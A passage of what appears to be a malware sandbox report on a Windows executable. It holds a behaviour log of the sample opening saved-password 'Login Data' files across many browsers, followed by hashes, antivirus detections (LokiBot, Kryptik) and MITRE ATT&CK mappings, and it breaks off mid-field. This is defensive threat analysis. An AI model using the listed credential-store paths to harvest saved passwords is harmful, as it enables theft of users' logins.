00000000-00004628.00000002.203501.02F60000.00000004.mdmp")41:T1eb2,"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COMODO\DRAGON\USER DATA\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALCOMODO\DRAGON\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALCOMODO\DRAGON\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\MAPLESTUDIO\CHROMEPLUS\USER DATA\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALMAPLESTUDIO\CHROMEPLUS\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALMAPLESTUDIO\CHROMEPLUS\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\NICHROME\USER DATA\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALNICHROME\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALNICHROME\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\ROCKMELT\USER DATA\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALROCKMELT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALROCKMELT\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\SPARK\USER DATA\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALSPARK\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALSPARK\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALCHROMIUM\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALCHROMIUM\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\TITAN BROWSER\USER DATA\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALTITAN BROWSER\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALTITAN BROWSER\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\TORCH\USER DATA\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALTORCH\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALTORCH\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\YANDEX\YANDEXBROWSER\USER DATA\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALYANDEX\YANDEXBROWSER\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALYANDEX\YANDEXBROWSER\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\EPIC PRIVACY BROWSER\USER DATA\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALEPIC PRIVACY BROWSER\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALEPIC PRIVACY BROWSER\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COCCOC\BROWSER\USER DATA\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALCOCCOC\BROWSER\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALCOCCOC\BROWSER\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\VIVALDI\USER DATA\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALVIVALDI\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALVIVALDI\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COMODO\CHROMODO\USER DATA\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALCOMODO\CHROMODO\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALCOMODO\CHROMODO\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\SUPERBIRD\USER DATA\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALSUPERBIRD\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALSUPERBIRD\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COOWON\COOWON\USER DATA\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALCOOWON\COOWON\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALCOOWON\COOWON\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\MUSTANG BROWSER\USER DATA\DEFAULT\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALMUSTANG BROWSER\LOGIN DATA" "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" trying to open a file "C:\Users\%OSUSER%\AppData\LOCALMUSTANG BROWSER\DEFAULT\LOGIN DATA"42:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAHcAAAd3d3cAAAAAAAAAAAB3d3d3d3d3d3d3d3d3AAAAd3d3d3d3d3d3d3d3dwAAAHd3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3AAAAd3d3d3d3d3d3d3d3dwAAAHd3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3AAAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3dwB3d3d3d3d3d3d3d3d3dwd3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3AAAAd3d3d3d3d3d3d3d3dwAAAHd3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3d3dwd3d3d3d3d3d3d3d3dwAAB3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3AAAAd3d3d3d3d3d3d3d3dwAAAHd3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3AAAAd3d3d3d3d3d3d3d3dwAAAHd3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3AAAAB3d3d3d3d3d3d3d3d3d3dwAAAAAAAAd3d3cHd3d3d3cAAAAAB3d3d3d3dwAAAAAAB3d3d3d3d3d3d3cAAAAAAAAAAHd3d3d3dwAAAAAAAAA+A///PgP//wAAAD8AAAA/AAAAPwAAAD8AAAA/AAAAPwAAAA8AAAAPAAAAAAAAAAgAAAAAAAAAPwAAAD8AAAA/AAAAAAAAAAAAAAAAAAAAAAAAAD8AAAA/AAAAPwAAAD8AAAA/AAAAPwAAAACAAAAA/4AAAP+AA/+AAAP//AA//w==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790646450888,"unified_at":"2026-09-29T01:47:30.888Z","metadata":{"hashes":{"sha256":"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0","sha1":"c3bdd882b425a1bbfebaffc35c8ce4018c172b12","md5":"7d53ef9b324f31e4258e85abff6b3024","sha512":"f79cada6d096337e0ecf66657c872606c14cadfbf23d7289a95ede1657e1d460e521fd8bafb408063cd013d3b6eb22b1bde333f3f510a0542c63d068290d4fe5","ssdeep":"3072:4BNotuL2n0fTkZIQtZC4Ah3O+VO83E0kzlx:ga82n0f6Bt8X9m","ssdeep_chunks":["3072:4BNotuL","3072:BNotuL2","3072:NotuL2n","3072:otuL2n0","3072:tuL2n0f","3072:uL2n0fT","3072:L2n0fTk","3072:2n0fTkZ","3072:n0fTkZI","3072:0fTkZIQ","3072:fTkZIQt","3072:TkZIQtZ","3072:kZIQtZC","3072:ZIQtZC4","3072:IQtZC4A","3072:QtZC4Ah","3072:tZC4Ah3","3072:ZC4Ah3O","3072:C4Ah3O+","3072:4Ah3O+V","3072:Ah3O+VO","3072:h3O+VO8","3072:3O+VO83","3072:O+VO83E","3072:+VO83E0","3072:VO83E0k","3072:O83E0kz","3072:83E0kzl","3072:3E0kzlx","6144:4BNotuL","6144:BNotuL2","6144:NotuL2n","6144:otuL2n0","6144:tuL2n0f","6144:uL2n0fT","6144:L2n0fTk","6144:2n0fTkZ","6144:n0fTkZI","6144:0fTkZIQ","6144:fTkZIQt","6144:TkZIQtZ","6144:kZIQtZC","6144:ZIQtZC4","6144:IQtZC4A","6144:QtZC4Ah","6144:tZC4Ah3","6144:ZC4Ah3O","6144:C4Ah3O+","6144:4Ah3O+V","6144:Ah3O+VO","6144:h3O+VO8","6144:3O+VO83","6144:O+VO83E","6144:+VO83E0","6144:VO83E0k","6144:O83E0kz","6144:83E0kzl","6144:3E0kzlx","3072:ga82n0f","3072:a82n0f6","3072:82n0f6B","3072:2n0f6Bt","3072:n0f6Bt8","3072:0f6Bt8X","3072:f6Bt8X9","3072:6Bt8X9m"],"imphash":"b4164898143d8dc833316486e3ec834f"},"file_info":{"file_name":"sihost.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":271360,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1697197221000,"last_seen":1743931259000,"last_multi_scan":1743931259000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["banking","chromepassworddump","credentialharvesting","criminal","downloader","informationstealer","lokibot","nemucod","neshta","ransomware","rat","targeted","targetedcrimeware","banker","gamarue","riskware","hiloti","conduit","miner","fakealert","philadelphia","spyware","xrat","swrort","adware","coinminer","filetour","ramnit","trojan","emotet","zeus","zbot","xtrat","hacktool","msil","exploit"]},"stats":{"av":{"malicious_count":19,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":68},"sandbox_signatures":{"informative_count":144,"suspicious_count":21,"malicious_count":12,"total":177},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Kryptik.huym","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1366024","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Zusy.500523","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Packed.Generic-10010880-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Zusy.500523 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Kryptik.HUYM trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Ransom.Win32.STOP.bot!n","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 005ac8b11 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Androm.kcfqpe","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Krypt-ACJ","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Kryptik.KWV.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.GenusB.DSZI","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.LokiBot","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_30.8","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Backdoor.Androm.Win32.111705","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Zusy.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"suspicious","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to execute Windows APIs"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"},{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Contains ability to use Microsoft Exchange transport agents [Dotnet Namespaces]"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"suspicious","value":"Contains ability to modify thread functionality - possible hijack (API string)"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"suspicious","value":"Adjusts debug privileges"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to create a remote thread (API string)"},{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to encrypt/encode message (API string)"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"suspicious","value":"Calls an API typically used to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"suspicious","value":"Tries to detect debugger using ProcessDebugPort"},{"type":"suspicious","value":"Queries kernel debugger information"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or 